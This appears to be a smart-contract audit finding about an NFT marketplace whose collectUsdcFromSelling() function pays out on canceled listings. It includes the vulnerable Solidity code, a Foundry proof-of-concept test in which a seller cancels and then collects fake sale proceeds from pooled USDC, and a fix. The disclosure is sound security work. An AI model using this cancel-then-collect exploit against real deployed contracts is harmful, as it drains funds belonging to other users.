collectUsdcFromSelling() only checks that a listing is inactive and does not verify that a sale actually occurred. As a result, a seller can cancel a listing, recover collateral, and later withdraw fictitious sale proceeds from the contract’s pooled USDC balance.
Description
-
Normal marketplace behavior: canceling a listing should terminate the sale lifecycle and only return the locked collateral to the seller. No sale proceeds should ever become payable unless a successful purchase has occurred.
-
Problem: collectUsdcFromSelling() treats any inactive listing as eligible for settlement. Since cancelListing() marks a listing inactive, a seller can first cancel their listing and recover collateral, and then call collectUsdcFromSelling() on the same listing to withdraw an additional amount equal to the listing price minus fees.
function cancelListing(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller == msg.sender, "Only seller can cancel listing");
@> s_listings[_listingId].isActive = false;
activeListingsCounter--;
usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
collateralForMinting[listing.tokenId] = 0;
}
Settlement logic does not distinguish between sold and canceled listings:
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
@> require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
@> usdc.safeTransfer(msg.sender, amountToSeller);
}
Risk
Likelihood:
-
Every canceled listing becomes inactive, which is the only lifecycle condition required by collectUsdcFromSelling().
-
`The recorded seller remains permanently authorized to call settlement on that listing due to the absence of a "sold" or "claimed" state.
Impact:
-
Sellers can withdraw fictitious sale proceeds from the contract’s pooled USDC balance without any buyer participation.
-
Repeated abuse can drain collateral or payments belonging to other users and lead to protocol insolvency.
Proof of Concept
The PoC shows that canceling a listing transitions it into an inactive state that is later treated as a valid settlement condition. The seller can therefore withdraw fake sale proceeds despite no buyer interaction.
function test_CanceledListing_CanStillBeSettledAsSold() public revealed {
uint256 tokenId = 1;
uint32 nftPrice = 1000e6;
uint256 fees = nftDealers.calculateFees(nftPrice);
uint256 collateral = nftDealers.lockAmount();
uint256 fakeSalePayout = nftPrice - fees;
usdc.mint(address(nftDealers), 2000e6);
mintAndListNFTForTesting(tokenId, nftPrice);
uint256 sellerBefore = usdc.balanceOf(userWithCash);
uint256 contractBefore = usdc.balanceOf(address(nftDealers));
vm.prank(userWithCash);
nftDealers.cancelListing(tokenId);
uint256 sellerAfterCancel = usdc.balanceOf(userWithCash);
uint256 contractAfterCancel = usdc.balanceOf(address(nftDealers));
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(tokenId);
uint256 sellerAfterCollect = usdc.balanceOf(userWithCash);
uint256 contractAfterCollect = usdc.balanceOf(address(nftDealers));
assertEq(sellerAfterCancel - sellerBefore, collateral);
assertEq(contractBefore - contractAfterCancel, collateral);
assertEq(sellerAfterCollect - sellerAfterCancel, fakeSalePayout);
assertEq(contractAfterCancel - contractAfterCollect, fakeSalePayout);
assertEq(sellerAfterCollect - sellerBefore, collateral + fakeSalePayout);
}
Recommended Mitigation
The contract should differentiate between canceled and sold listings and enforce one-time settlement semantics to prevent unauthorized payouts.
+ mapping(uint256 => bool) public listingSold;
function buy(uint256 _listingId) external payable {
Listing memory listing = s_listings[_listingId];
...
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
s_listings[_listingId].isActive = false;
+ listingSold[_listingId] = true;
}
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
- require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(listingSold[_listingId], "Listing was not sold");
...
}
